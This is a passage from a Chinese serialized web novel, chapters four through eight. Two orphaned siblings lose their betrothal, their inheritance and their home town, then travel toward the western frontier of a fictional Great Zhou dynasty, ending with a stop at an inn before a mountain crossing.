几个妇人帮着杨笑为杨夫人整理了衣衫,杨笑把母亲胸前的伤口用针线细细的缝了。可杨夫人身上的血实在是太多了,需要好好的清洗一下。等人们来到水井前打水时,才发现水井里面还有一个人。众人连忙用绳子吊了个青壮劳力下到井里把人捞了上来。 原来是杨落儿投井后在水里奋力挣扎正淹了个半死的时候,感觉手上抓到了个什么东西,正是那只被蕃兵首领扔进水井里的水桶。出于求生的本能,杨落儿死死的把水桶抱在了怀里,这才捡了一条命回来。 众人七手八脚的把杨落儿从水井里给捞了出来。杨落儿早冻得嘴唇青紫,瑟瑟发抖,连话都说不出来了。众人连忙给他换上了干净的衣服又喂了几口热汤,过了一会儿,杨落儿这才慢慢的缓了过来。 另一边,杨笑为母亲擦洗干净身子,换了身干净衣服。杨笑见母亲的眼睛始终睁着,就伸手想要把母亲的眼睛合上。谁知刚合下去,母亲的眼睛立刻又睁开了,合了几次都合不上,杨笑见母亲死不瞑目忍不住又流下泪来。 这时杨落儿被人搀扶了过来,姐弟俩又是抱头痛哭了一阵。杨落儿见母亲死不瞑目,就对着母亲说道:“娘啊!你放心的去吧,我会照顾好弟弟的,一定不叫他受了委屈。”兴许是杨夫人在天有灵,听完这句话后竟然缓缓的闭上了眼睛。 这之后收拾房舍场地,为杨夫人料理后事自不在话下。 ……。 只说为杨夫人办理完丧事的第二天,一大早杨落儿就发现家中的两个仆人不见了踪影,再在家中一番查看,才发现家中的银钱也丢失了许多。不用想,一定是那两个恶仆趁乱盗取了财物连夜逃走了。杨落儿连忙带着丫鬟到城里报官。 等杨落儿报官回来已经是第二天中午了。远远的杨落儿就看到杨笑正在大门口跟一个老妇人说话。 杨落儿认得这妇人,这老妇乃是镇上有名的媒婆:王媒婆。 王媒婆今年五十多岁,个子不高,瘦长脸,尖下巴,整个人显得精瘦精瘦的。满脸的褶子不说,嘴角处一颗硕大黑痣上还长了根又粗又长的黑毛。王媒婆是出了名的毒舌,既贪财又势力,做了许多昧良心的事,不知道把多少良善女子推进了火坑里。 杨落儿在门前下了车。王媒婆一见杨落儿回来了,赶紧腆着那张笑起来就像菊花一样的老脸凑到杨落儿跟前笑着说道:“呦!落儿姑娘,你可算是回来了,嘻嘻嘻……可是让老婆子我好等啊!”声音尖细且难听。 杨落儿本就不喜欢这老婆子,再加上连日来家中的不幸遭遇,本来心情就不好,于是冷着脸说道:“王媒婆,你等我做什么?” 王媒婆捋着嘴角黑痣上的那根毛笑嘻嘻的说道:“呦!当然是有好事喽!老婆子我是要给姑娘你说一门顶好顶好亲事呢!” 杨落儿冷笑道:“你王媒婆也能有好亲事?” 王媒婆仍旧笑嘻嘻的说道:“哎哟喂!姑娘可别这么说话,我说的这门好亲事呀,就是镇西头刘家的小子。” 王媒婆口里的刘家小子,人称刘二,在家里排行老二,原本他还有个哥哥,可幼年时就夭折了。这刘二是镇上出了名的游手好闲,好吃懒做,没少做那些招猫逗狗惹人嫌的事儿。本来还有一份不错的家业,可自从他爹病死后,他娘也管不住他,刘二就整日里的和几个狐朋狗友走街串巷,胡作非为,把好好的一份家业也给败的差不多了。 刘二早就相中了杨落儿,几次找人上门提亲,杨家人都不答应。毕竟这样的货色,谁家会愿意把女儿嫁过去呢。现如今,这牛二见杨家只剩下了姐弟二人,以为好欺负了,就迫不及待的找了王媒婆来杨家提亲。 “姑娘你是知道的,这刘家小子对姑娘你可是仰慕已久……。”王媒婆继续说着。 不等王媒婆说完,杨落儿转身就往大门里走,边走边没好气道:“不送!” 王媒婆还想追上前去再说些什么却被杨笑挡在了门外:“王媒婆,你赶紧走吧,我姐姐是绝对不会嫁给刘二那个混蛋的!”说着就“轰隆”一声把大门给关上了。 那王媒婆本来正上赶着要对杨落儿再说些什么,结果差点儿被门板拍到脸上,于是王媒婆站在门外小声的愤愤道:“你这狼窝里捡来的野种,破烂货,到现在了还敢这么嚣张,说不定杨家的祸事就是你这来路不明的扫把星给招来的呢!真是气死老娘了,等哪天你落到了老娘我的手心里,老娘一定要让你这个小婊子好看!”王媒婆一边骂着一边甩了甩袖子转身嘟嘟囔囔地走了。 又过了一段时间。 这天一大早孟家就来了两拨报喜的人。孟家门前张灯挂彩,鞭炮声不断,邻里朋友都来祝贺,孟秀才站在门口迎接宾朋。这时候又有一队报喜的人马从镇外跑来,刚一进镇子就高声喊道:“恭喜孟老爷高中了!恭喜孟老爷高中了!……!”原来是孟秀才去年参加了恩科秋闱,今春放榜时竟然榜上有名。 这边孟秀才家答谢宾朋,打点报喜的差役自不必说。另一边杨笑姐弟正在家中,小丫鬟从门外跑了进来,“少爷,小姐,对面的孟老爷秋闱高中了,好多人都来给他道喜呢,连知县爷都来了,孟老爷家里可热闹了。” 杨落儿听了小丫鬟的话,说道:“这可真是这段时间来难得的喜事啊!只是我们姐弟俩有孝在身,不方便前去道喜,不如你和王伯带着贺礼去孟老爷家走一走吧。” 等小丫鬟从孟家回来的时候却是一脸的闷闷不乐,杨落儿见了就问起原因来。小丫鬟回答说:“孟老爷接了贺礼后并不像往常那般亲切,而是冷淡的很。”姐弟俩听到这句话心里都隐隐有一丝不妙的感觉产生,相互对视一眼谁也没有说什么。 今后姐弟俩的日子该怎么过?欲知后事如何,且听下回分解。 第五回 孟氏毁约 上回说到孟秀才金科高中。 又过了些日子,杨家的丧事出了头七。这天一大早姐弟二人就脱去了孝服,换了一身素净的衣服。杨落儿在姐弟二人的衣角还有鞋面上各缝了一小块儿白布。 古时,至亲去世都是要守孝的。通常父母去世需守孝三年;结发夫妻去世,守孝一年;其余的从数月到数日不等。 治丧期间,丧期以七日为期,第一个七日叫做头七,第二个七日叫做二七,第三个七日为三七……,以此类推,直到第七个七日叫做末七或者尽七。每过完一个“七”都要对亡者祭祀一番。在这七七四十九日内每一天都要身着孝衣,重孝在身,衣食住行多有禁忌。可总是穿着孝衣,诸般行事又多有不便,死人死了是一死百了,活人的日子该怎么过,还是得照样过下去的,于是就有了在尽七之后脱掉孝服,换上一身素色衣衫,并在衣角和鞋面上各缝上一块儿白布,以表示自己还在守孝丧期以及对亲人的追思。 早饭过后,杨笑和以前一样到私塾里上学。在私塾里杨笑左等右等也没看见孟云羲的身影,便开始有些魂不守舍,再加上这段时间来的遭遇,一整天下来都恍恍惚惚的,先生讲的课一个字也没有听进去。等下学后,杨笑刚走出私塾的大门就看见孟云羲的贴身丫鬟站在不远处的路边往这边张望。 这个小丫鬟比杨笑小半岁,杨笑平日里总是喊她的“二丫头”。二丫头望见杨笑出来就冲他招招手,示意他过来。 杨笑快步走到二丫头跟前开口问道:“怎么不见云姐姐来上学?” 二丫头低着头说道:“我家小姐被老爷禁足了。” 杨笑听到这句话急切的问道:“禁足了?怎么回这样?” 二丫头回答:“老爷前几天说要把你俩的婚事给退了,小姐知道后就跟老爷大吵了一架,然后就被老爷关在房间里不让出来了。” 杨笑咬了咬嘴唇深吸了口气说道:“看来你家老爷高中以后有些看不上我家了。” 二丫头抬起头说道:“我今天是偷偷跑出来的,小姐知道你今天一定会来私塾就让我偷偷出来告诉你一声,让你快想想办法。” 杨笑苦笑一声无奈道:“现在我家成了这个样子我又能有什么办法。” 原来当年定婚时有孟家老太君做主,孟秀才虽说有点儿不情愿,但也说不出什么来,再说当时孟、杨两家的家境相差也并不太远,算是门当户对。现如今杨家连遭祸事,孟秀才又金榜题名,这一起一落间,两家的境况早已是相去甚远。再加上孟家老太君前两年也已去世,孟秀才就有了退婚的心思。其实孟秀才早就有了退婚的心思,只是一直没有合适的借口罢了。 杨笑回到家里把今天在学塾遇到二丫头的事情跟姐姐说了一遍,姐弟两个左思右想也是没有办法。杨笑又跑到孟家想见孟云羲一面,却被孟家左右推脱没有见成。杨落儿见弟弟无精打采的回来,也只能安慰几句。 一夜无话。 第二天一早,孟家的老管事就手持定亲的婚帖来到杨家。杨落儿知道该来的终归是要来的,但礼数上该周到的还是要周到。杨落儿把孟老管事让进屋内落座又让丫鬟奉上香茶后问道:“张老伯今日前来不知所谓何事?” 孟家来的是一位老者,本家姓张,是孟家的管家,张管家几代人都在孟家为仆,也算是德高望重,平日里小辈儿人都尊称一声张老伯。 张管事一脸和气的说道:“杨小姐不必客气。”年纪大了,张伯的声音中透着些许的沙哑。“既然小姐问了,那老奴就直说了。今天老奴是奉了我家老爷的吩咐,来退掉孟、杨两家的婚约的。”说着就把定亲的婚贴放在桌上推到了杨落儿的面前。 杨落儿低头看了一眼那张写着金字的红贴,说道:“两家素来交好,这婚约又是当年老太君钦定,今天突然退婚不知所为何事?” 张伯说道:“杨小姐,你我都心知肚明”张伯说着朝天拱手道:“我家老爷幸蒙皇恩,金榜题名,孟、杨两家已然今时不同往日,正所谓门不当户不对,杨少爷与我家小姐的婚事自然就要从长计议了。”说完招招手,门外的随从们就把定亲时下的聘礼给一一抬了进来。 张伯接过一名随从捧上的托盘转身放到杨落儿面前说道:“我家老爷自知杨家近来连遭祸事,今日退婚是为不义,特命老奴送上白银百两寥表歉意,还请小姐收下。” 杨落儿也不看那些银子一眼,向张伯问道:“老管事,这桩婚事当真就没有回旋的余地了吗?” 张管事摇头皱眉:“难!”说着就又站起身冲杨落儿拱手道:“老奴还要回去复命就不久留了,小姐不比相送,告辞。”说完后退几步转身向门外走去。 杨落儿往前送了几步。 张管事走到屋门口又停住脚步,面上似有犹豫为难之色,等一众随从走出院门后才又转过身对杨落儿说道:“杨少爷与我家小姐从小情投意合,老奴也是看在眼里喜在心上,杨家若是想让我家老爷回心转意的话,只有杨少爷他日能够博取个功名。此外,恐怕别无他法了。” 杨落儿说道:“笑儿尚且年幼,等到能够进京赶考还要好些年月,到时候只怕孟小姐早已嫁为人妇了。“ 张管事说道:“我家小姐年纪也不大,前些天还与老爷赌气说此生除了杨少爷誓死不嫁,想来短时间内不会许配人家的,只是日子长了就未为可知了。” 杨落儿说道:“少年心性,怎么能做得数?只怕老管事自己都不信。” 张管事叹口气:“总之,一切就看天意吧。” 等送走张管事之后,杨笑从屋内的屏风后面走了出来,眼中隐隐有泪光闪动,那泪珠一直在眼眶里打转,眼瞅着就要往下掉。杨落儿上前安慰道:“刚才的话你都听见了?” 杨笑点点头:“云姐姐一定会等我的。” 杨落儿伸手帮弟弟擦去眼角泪水:“那你就该好好读书,好为你二人搏那一线希望。多大的人了,还抹泪?” 杨落儿叹口气:“笑儿啊!你什么时候能长大呀!”眉目之间,语气之中全都是对弟弟的宠溺,还有对未来的茫然。 杨笑一抹眼泪看着姐姐:“笑儿以后一定不会再哭了。” 杨落儿望着弟弟那张稚嫩的脸庞又叹息一声。 以后?弱姐幼弟的,以后的日子是个什么样还不如道呢! 自从经历了这一连串的事情后,姐弟二人原本以为接下来可以平静的过日子了,但天便不随人愿。那些杨家的旁支亲戚们听说孟家退了婚,姐弟俩先是没了大人,现在又没了孟家的庇护,一个个纷纷来杨家生事。 这个说当年的什么什么账目不对;那个说当初分家的时候哪块哪块地方没说清楚;这个又说当年因为什么什么事情借了他家多少多少钱;……等等等等。总之,都是把现在的杨家当作一块肥肉,都想要变着法子的找个由头来咬上一口。还有那王媒婆儿,也越发的来得勤了。 开始的时候,这些人还是小打小闹。后来见姐弟俩奈何不了他们就越发的变本加厉了。不是几家联手串通一气,就是给当官的送黑钱,前前后后侵占了杨家不少的家产。姐弟俩年少单纯,势单力薄,哪里是这些奸诈的老油条们的对手,不过半年的光景就丢掉了大半的家产。姐弟俩除了没人的时候相拥而泣外丝毫没有办法。 这一天姐弟俩又打发走了一波闹事的人,回到屋里刚要坐下就见二丫头急急忙忙地跑了进来。 二丫头进门后二话不说就往杨笑怀里塞了个小布包,接着掉转头就往外跑。边跑边嚷道:“我家小姐让我给你捎句话,她让你多多用功,她说她一定会等你的。”一边说着一边头也不回地跑了。 杨笑姐弟追出门就看到对面孟家的门前停了七八辆马车,仆役们正进进出出的搬着行李。原来是孟家老爷接了官报要到别处上任去了。没一会儿就见孟家老爷从大门里走出来,一边走一边吩咐自家的兄弟好好看守家业,然后就上车离去了。 从始至终都没有往姐弟俩这边看一眼。哪怕撇那么一眼都没有。 杨笑定定地看着孟家的车队渐渐走远,直到彻底看不见了也没有再见到孟云羲一面,心里面更不是滋味了。 杨笑回到屋子里呆坐了好一会儿才想起来手里的东西。打开一看,是一条香帕。香帕里包了一只羊脂玉的镯子。 镯子还是当初杨笑送给孟云羲的。当初送的是一对,一只镯子上面雕了一行蝇头小楷“云想衣裳花想容”,另一只上面刻的是“春风拂槛露华浓”。想必另一只镯子还留在云羲的手里。 镯子是当初杨笑到州城里逛的时候在一家店铺里看到的。杨笑当时觉得这对镯子很美,就像云姐姐的脸一样白皙红润细腻,杨笑看了便喜欢。刚好又才学了这两句诗,杨笑觉得诗的内容也很美,就让店家请工匠给雕刻了上去。 香帕是孟云羲亲手所绣,上面绣着一对儿比翼鸟落在连理枝上。绣工精美,栩栩如生。香帕的一角还有几行红色的字迹:此爱隔山海,山海自可平。竟然是用鲜血写就。 现在想来真是应那首诗的后两句,只是不知道两人是不是也会像诗上写的那样能够“会向瑶台月下逢”。 先是家破人亡,后又家产被夺,现在又被退掉了婚事。杨笑以后的日子将会怎样度过的呢?欲知后事如何,且听下回分解。 第六回 投亲西梁境 上回说孟云羲送给杨笑两份信物向他表明心意。 当晚夜深人静后,姐弟两个相对而坐谁也不知道该说些什么。杨落儿看着眼前这个唯一的亲人,杨笑则望着手中的香帕发呆。 过了好一阵子还是杨落儿开口打破了沉默:“笑儿,这大半年来咱们家的遭遇你也都看到了,这三青镇看来是没有咱们姐弟俩的容身之处了,再这样下去要不了多久就要被这些人盘剥干净,吃的连骨头都不剩。” 杨笑听到姐姐的话缓缓抬头:“可天大地大,哪里又是我们的容身之地呢?” 杨落儿抿了抿嘴唇,似乎是下了一个莫大的决心:“你还记得当年跟父亲交好的两位堂叔吗?” 杨笑想了想问道:“你是说在西梁境内从军的两位堂叔?” 杨落儿点点头:“正是!” 说起姐弟俩的这两个堂叔来,他们是跟杨大夫一块儿长大的堂兄弟,三人是亲叔伯兄弟的关系,从小到大都玩在一起,在杨家的宗族中是跟杨大夫最亲近的一支。两人行事颇为讲义气,长大后先后从军,后来辗转间两人都到了西梁王麾下。 杨落儿说道:“这些年来两位堂叔和父亲一直有书信往来,那时候你还小父亲跟你提起的少,所以你不是很了解,父亲对两位堂叔多有夸赞,称他们为人信义,乃是堂堂的好汉。” “堂叔跟随西梁王多年,现在已经在军中谋得了一官半职,只是这两年书信来往的少了些,想来应该是军务繁忙,不过今早家里又收到了两位堂叔寄来的信,堂叔还在信中向父亲问好,不如我们到西梁去投奔这两位堂叔你看怎么样?”杨落儿说着把一封信交给了杨笑。杨笑看完书信,想了想说道:“好是好,就是不知道两位堂叔现在在什么地方。”杨落儿想了想:“前两年堂叔还邀请父亲去西梁小住,在信里提到过住址,等我把信找出来再做定夺。”当晚两个人就商量好了一应事情。 过了一段日子,到了秋收的季节。姐弟俩多雇了几个短工早早的就把地里的庄稼给收完了。杨笑这些天也不去学堂了,一直在家里帮着姐姐忙活。这几天倒是难得的清静,因为那些平日里常来闹事的杨家族人也都在忙着收秋。 等粮食都收入粮仓后就是时候该找个买家谈谈价钱了。经过将近一年的磨练姐弟俩也多长个心眼,知道变卖家产的事情一旦传出去,那些家族里老老少少,少不得又要来闹事。于是姐弟俩人商量后,决定悄悄的找来镇上的几个富户好把剩余的家产卖给他们。 自从孟老爷到外地赴任后,就留下胞弟看守家业。 这天晚饭过后没一会儿。孟二爷正在廊檐下逗鸟,这时一个仆人来报:“二爷,对门儿的杨小姐来府中指明要见二爷。” 孟二爷一愣:“……她来做什么?” 仆人回答:“杨小姐说有件要紧的事要跟二爷商量,还说一定不会让二爷失望的。” 孟二爷听了后嗤笑一声:“这小丫头葫芦里卖的什么药?领她来见我。” 仆人领命离去。 不一会儿,杨落儿就被带到了孟二爷跟前。杨落儿向孟二爷款款的做了个万福:“落儿见过二爷,二爷近来安好?” 孟二爷伸手示意杨落儿免礼:“是落侄女啊?来来来,到屋里坐,在这院子里说话多不像样子。”说完又向仆人忍吩咐道:“来人,看茶。”说着便率先转身迈步走入大厅内。 孟二爷与杨落儿分宾主落座。 孟二爷笑呵呵的说道:“二叔这里…这些天还算过得去,劳烦落侄女挂心了,不知道今夜来访所谓何事啊?” 杨落儿欠身说道:“近来家中连遭横祸,想必二爷都看在眼里,如今这三青镇怕是没有我们姐弟二人的容身之地了,我二人思量再三后决定变卖家产,到西梁境内去投奔两位堂叔。今夜前来是想请二爷往家中与镇上其他几个富户商量一下,但凡有看上我杨家家中产业的,只要价钱合适尽可出售。” 孟二爷听杨落儿说完后叹息一声:“啧,唉!早知道事情会变成这个样子,当初我就该管一管,也好叫他们不敢胡作非为。” 杨落儿答谢道:“二叔不必自责,自从孟、杨两家解除婚约后,孟家跟杨家已经没有什么关系了,孟家也不好出面管这些琐碎的事情。” 孟二爷闻言又叹了一声:“落侄女尽管放心,等我叫上张管事就去府上看看,有我在一定不叫落侄女吃亏。” 杨落儿再次欠身谢过。 孟二爷唤来仆人:“来人,送落侄女。”杨落儿起身告退,孟二爷送到院里。 另一边,杨笑在刘管事家中的境遇也是大致相仿。……。 等到二更天后,众人先后来到杨家,纷纷寒暄一阵后各自落座。杨落儿一一奉上香茶。 杨落儿坐于主位,弟弟杨笑站在身后。杨落儿见人都到齐,开口道:“诸位叔伯,多余的话我姐弟也不说了,这是我家中产业账薄,诸位叔伯请先随意传看。”说着示意杨笑把帐薄递过去。 众人一一传看了一遍。那账薄中详细的记述了杨家的各处大小家产,除此之外满是朱笔小楷写成的何年何时因何事被何人占去等标记,事无巨细全都记载仔细。 看着眼前被拆了个七零八落的杨家祖产,众人面上不便显露各自的心思,却丝毫不他们纷纷在心里打起了自己的算盘。在场之人都有看中的东西,也都想着趁机占个便宜,就是不知道会有几个人和自己争,最终又会以一个什么样的价格买下来。 等在坐的众人传看完毕后,杨落儿又说道:“诸位叔伯要是对账户上所记的财务有疑虑,我这里有家中物品明细清单,还有房契、地契,各位叔伯尽可查验。”众人都表示并无异意,不需要查验。 接下来就看谁看中了什么东西,谁又出的价钱高了。在场的富户们你一言我一语的说了半天,最后房产、土地、山林、粮食、牲畜,等等都各自有了买家,至于矿场的股份,当然是孟、刘两家平分了,别人想插一脚那是不可能的。最后只剩下这处宅院,因为出了杨夫人这样的事情都嫌不吉利,所以无人问津。见此情景姐弟二人难免有些黯然神伤。看到这儿,张管事在孟二爷跟前耳语几句,两人又告饶一声到屋外商量了一会儿。等到二人进屋后孟二爷说道:“这宅子嘛……我看你们姐弟俩就不要急着卖了,万一以后要是想回来,也好有个落脚的地方,就由二叔我先帮你们看管着,你们看怎么样?” 事到如今姐弟两个也没有办法,也只能先这样了。 再接下来姐弟两人与众人各自写下了字据。众人都表示回去筹措银两,三日后还是这个时辰,都来签字画押,一手交钱,一手交物。杨落儿与杨笑谢过众人,叮嘱道:“我姐弟二人年幼,身单势薄,今夜的事情希望诸位叔伯能够保守一二。”在场众人都说心中明白,绝不会透露出去只言片语。 杨落儿谢过众人:“给诸位叔伯添麻烦了。”众人都回答:“不碍事,我们这些人还不怕你家族里那些无赖,料他们也不敢生事。” 随后姐弟俩送别众人自不必表。 三天后交接完成。 第二天,天还不亮,姐弟两个就早早的结清了长工和仆役的工钱。至于那些卖身在杨家的人,有愿意一同前往西梁的,姐弟两个表示决不会亏待,不愿意一起去的,当场烧了卖身契还了自由身。天刚刚放亮,姐弟两个就锁了大门,迎着清晨初升的朝阳踏上了前往西梁的投亲之路。 姐弟二人是否能平安到达西梁?一路上又会遇到哪些事情?欲知后事如何,且听下回分解。 第七回 大周王朝 上回说到杨家姐弟二人离开了家乡前往西梁境投亲。 出了三青镇一路向东大约有一天的路程就到了山阴县的县城,姐弟俩手持孟府的名帖到衙门里办理了通关路引。 彼时王朝的管制森严,要是想出远门,本县本府境内还好说,要是出州过府那就需要持有当地衙门出具的通关路引才行,而且每到一处地方都需要前往当地的衙门签署通关文书并加盖官府印章,不然被抓到的话可是要被下大狱的。 如今孟家有人在外做官,孟家的名贴在县衙里好用的很,不过片刻就办好了通关的路引。一行人继续上路,出县城上了官道再往东走上一两天的路程就到了开阳府。三青镇地处山阴县境内,山阴县归开阳府管辖。出了开阳府,沿官道一路北上,走上两三个月的路程就进入了秦州府境内。在秦州府越过分天岭然后向西走,再有两个多月的路程就是二山关,过了二山关就进入西梁境了。 说到西梁境就不得不先说一下大周王朝了。 大周王朝开国三百余年,疆域纵横万里,境内山川河流众多。东面多有千里沃野,土地平坦。这些地方背靠大山,面朝大海,物产丰富,是周王朝的经济和农业中心。 王朝的中部山川纵横,山与山之间分隔出了大大小小许多的盆地、峡谷,众多河流穿行期间,湖泊更是星罗棋布。这里是王朝的腹地,许多重要险峻的关隘把守其中,将各处通道把守的严严实实。 往东北方向,白头山将高黎族阻挡在外,大小定北山是王朝的最北端。过了大小定北山后,就是一望无际的冰天雪地,这里常年冰封人迹罕至。 西北方是广袤无垠的大草原。这里是游牧民族生活的地方,周王朝的死敌:狄戎族,就生活在这里。 王朝的西面称为西域,因为有雪山沙漠阻挡来往较少。西南是一大片的茫茫雪山,这里是藩族的地盘,两族在历史上有战有和。 王朝的南方山高林密,其间生活着诸多小部族,这些小部族多为自治,但通常都要接受周王朝的管辖,这里被称为南越百族之地。 王朝中间的两界山,把王朝的中部与西部的西梁境隔离开来。其中二山关是最重要的关隘。二山关地势险要,有一夫当关万夫莫开之称,因为建在相邻两座山之间的悬崖峭壁上而得名。两山之间的峡谷中有一条大河流过,大河的名字叫做潮天河,这条河流是东西交通的重要水道,河边还有一条大路沿河而行。二山关的东边是被潮天河冲积而成的一片平原,长有一两千里,最宽处有四五百里,称为关中平原。王朝的都城:圣京城,就建在关中平原的腹地之中。 出了二山关就是西梁境了。整个西梁境就像一个大号的楔子牢牢地插在狄绒族与蕃族之间。这里历来都是兵家必争之地,更是周王朝的西大门,无论是蕃族还是狄戎族都对这片土地虎视眈眈,都想要吃下这块跳板,好长驱直入,逐鹿中原。历史上的西梁境曾经数次落入异族之手,每一次都让关内的百姓蒙受巨大损失。自周王朝开国以来这里就一直是军事或半军事化管理,以期能够抵御异族的入侵。 整个西梁可以分为三大部分。北面称为阶上草原,草原纵横千里,以台阶山为依托把狄绒族挡在外前。西面是呼伦沙漠,这片沙漠广袤无垠,放眼望去尽是漫天黄沙,只有大型的商队才能够穿过沙漠。到达沙漠尽头后是被称为摩天岭的连绵雪山,这些大山高耸入云,山上风急雪大,冰雪终年不化,就连飞的最高的雄鹰都难以飞跃,其间只有一条峡谷可以勉强通行,是东西往来的重要通道。呼伦沙漠的南面就是蕃族世代生活的地方。这里也有许多高耸入云的大山,许多高山的山上顶都是终年积雪,所以蕃族又被叫做雪蕃族。这里虽然也经常下雪但是比起摩天岭就好上太多了。山与山之间有很多四季如春的峡谷和盆地,河流湖泊点缀其间,雪蕃族就在这些地方世代繁衍。雪山上融化的冰雪形成许许多大大小小的河流,这些河流一部分向南流入南越百族的区域内,一部分向东流入了西梁境内。在西梁镜的东南方冲积出了一片河网交错的肥沃土地。这片土地被称为关西平原,素有西梁小江南的美誉,是西梁重要的粮仓。关西平原三面环山,与周围区域界限分明,只有在西面与呼伦沙漠没有明显的分界线,植被渐渐的稀疏了,就形成了荒漠戈壁,荒漠戈壁上的植被越来越多就进入了关西平原。 出二山关往南就是关西平原,可以一路乘舟而行,往北翻过台阶山就是阶上草原。西梁境的核心,也就是西梁城,就位于关西平原的西侧。从这里向北或向西,各有两三百里远就是草原和沙漠。 西梁境历都来由帝王的亲族镇守,受封西梁王。现任西梁王就是当朝皇帝的胞弟。 为了稳固王朝的统治,防止外族入侵,大周王朝有四大蕃王分别把守东南西北四个方向。镇守东面的是东安王,东安王主要负责清剿海上的盗贼匪患,维护王朝的海路交通。镇守王朝北端的是北静王,北静王的军队主要是负责看守高黎族。不过经过这些年的征讨,高黎族早已俯首称臣,每年向周王朝纳贡,成为了周王朝的藩属国。南面统领南越百族的,是南越王,另外南越王管辖的地域也有一部分与蕃族接壤,所以南越王还要负责这一部分的边防。至于西面,就是负责抵御狄戎族与雪蕃族的西梁王了。 因为要防御王朝最大的两个敌人,所以,四王之中以西梁王的势力最大。西梁王麾下兵多将广,其统下军队的数量可以说占据了周王朝一半的兵力。由于长期以来的军事化管理,西梁境内的百姓民风彪悍,因此,西梁境的军队相较于王朝其他地方的军队也更加的能征善战,乃是周王朝最精锐的军队。杨笑要找的两个堂叔就是西梁众多将士中的一员。 接下来的故事就要围绕西梁这个地方开始了……。 第八回 分天岭 入秋后的分天岭地界常常阴雨连绵。在这绵绵秋雨中,远远的从泥泞的官道上行来两辆马车。前面一辆由一个大概五六十岁的老汉撵着,车里坐着四女一男,有老有少。年长的是一个约五十多岁的老妇人,最小的是一个十来岁的少年,不是别人,正是离开家乡往西梁境投亲的杨家姐弟。 杨笑爬在车厢的入口处,把车帘子掀开了一角看着天幕上灰蒙蒙的阴云,百无聊赖地唉声叹气:“姐姐,你说这雨什么时候才能停呀?从咱们早上出门儿就开始下了,一直下到现在也不像要停的样子。” 在杨笑的身后,杨落儿的身边,一个约么十五六岁,头绾双髻,着短裙的少女笑道:“少爷你这句话也是从早上出门儿就开始念叨了不知道多少遍了。” 另一边,车厢里坐着的老妇人眯着眼睛说道:“这世上啊,就属老天爷最大,老天爷的事儿谁又能管得了?” 杨笑翻翻眼珠:“王婶儿,你老这口头禅,我也是打小就听,能不能换一句?” 老妇人目光慈祥:“少爷是在车厢里闷了一天,有些心烦了吧?要不我给少爷讲一段故事?” 杨笑望望天空:“您老那些个故事我也是打小儿就听了好多遍了……。” 杨落儿轻声道:“笑儿,快到里边坐好了,一会儿身上淋湿了该着凉了。”这时,外面传来撵车的老仆人的声音:“小姐前面不远处有一个小镇,不如我们在镇上先避避雨,等雨停了再赶路吧?” “也好,正好也可以打听打听前面道路的情况。”车厢里面杨落儿回答道。 老仆人向后面的马车招呼一声:“到前面的镇子上避避雨。” 后面赶车的是一个相貌憨厚,大约三十来岁的汉子。听到前面老仆人的声音,那汉子答应一声:“哦,好嘞!”。 前面赶车的老仆人姓王,是杨家原来在矿场上管事的人,姐弟俩从小叫他王伯。后面赶车的憨厚汉子是王伯的儿子,王大勇。车里的老妇人是王伯的老伴儿。王伯的儿媳妇儿,也就是王大勇的妻子,坐在王婶旁边。至于那名丫鬟模样的少女,是杨落儿的贴身丫鬟小翠。 一行人很快来到小镇上。小镇里十分的热闹,沿街的铺面不说,光是客栈就有好几家。一行人进了一家客栈,这个时候还没有到饭点,店里面并没有什么人。 几个人刚进到店里还没有开口说话店小二已经来到跟前热情地招呼道:“来了您嘞!几位客官好!不知道几位客官是吃饭呢?还是住店呢?” 王伯对店小二说道:“我们既吃饭也住店,不知道你这里有没有好点的客房为我家小姐、少爷来上一间。” 店小二陪着笑连说了几个有:“马上为您准备。”然后又扭头冲里面吆喝一声:“天字号客房一间。” 杨落儿对王伯说道:“王伯你们一家人也要两间客房吧?” 王伯连忙推辞:“多谢小姐,老奴一家就不用了,出门在外能省就省些,老奴家几个人晚上在马厩车棚里将就一晚就行了,不能让小姐多破费。” 杨落儿说道:“不碍事的。天凉,潮湿,睡在外面怎么行,别伤了身子。”然后又问店小二:“店家可还有好些的客房,给我们再来两间。” 店小二回答:“有,有,有,地字号的不知道几位可还满意?” 杨落儿点点头:“那就再来两间吧。” 店小二又冲里面吆喝了一声。王伯本来还想推辞,但回转头看了看老伴儿和儿媳妇儿,最后点点头答应了下来:“多谢小姐,让小姐您破费了。”杨落儿示意他不必客气。 “几位客官吃点什么?” 杨落儿看看几人:“给我们来些清淡点的饭菜就行,肉也上一些,再上一壶好酒,给王伯和王大哥驱驱寒。” 店小二弯腰点头道:“我们店里自酿的小烧,切一些姜丝儿煮上一壶正好驱寒,几位稍等一会儿饭菜马上就来。” 不一会儿,饭菜就上齐了。 “酒菜到齐,几位可还有什么需要的?”店小二把一壶热酒端上桌问道。 “暂时不用了,若有需要再唤小哥。”杨落儿说道。 那店小二离开又回头问道:“几位是打算要上山吗?” “正是。” “那几位可有准备上山的物品?” 几个人听了一头雾水,杨落儿把目光投向王伯。王伯就问店小二:“不知道小哥口中的……需要准备的物品……是什么意思呀?” 店小二眯眼笑道:“几位是第一次进山吧?” 王伯回答:“正是。小二哥如何得知?这……这其中还有什么玄机?” 店小二笑道:“几位有所不知。此山名为分天岭,山高林密,纵横不知几千里。山上山下就好像分出了两重天,上山后天气比山下冷上许多,就是盛夏时分山里也常常像深秋一般,时不时的还会下上一场雪,现在嘛更是跟隆冬无异。再者,山间道路迂曲,要走上许多日子才能到达下一处驿站,本镇呢,就是进山前最后一处驿站,所以但凡进山的过往客商都会在这里置办一些进山所需要的物品。再有就是现在的世道有些不太平,前些日子听说山里面还在闹山贼,客商们都会在这里歇歇脚,等凑够一拨人后结伴而行,也好有个照应。” 众人听完,心道原来如此。 王伯问道:“不知道进山都需要准备些什么物品,小二哥可否告知一二?” 店小二听王伯打听进山要准备的东西就说道:“这个嘛,先不急,几位先吃饭,安顿好了我再领几位前往各处采购一应物品。” 王伯谢过店小二:“那就有劳小二哥了。” 饭后,几人安顿好住处,在店小二的带领下王伯父子到各处商铺采购好了进山所需要的物品。杨笑在屋里呆不住,也跟着一块儿去凑热闹。 约么一个时辰后,三个人回到住处,商量着接下来的路程该怎么走。杨笑把下巴搁在桌子上一副百无聊赖的样子,反正一切都有姐姐和王伯他们在,他一个小孩子正好不上心。 杨笑一只手摸着桌上采购来的物品:“你别说,这个店小二还真是蛮热情的。” 王伯笑道:“他哪里会白白对咱们热情,那些卖东西的店铺回头都是要给他一笔抽成的。” 杨笑恍然道:“啊?还有这回事啊?我还以为那个店小二是个地地道道的热心肠的好人呢。” 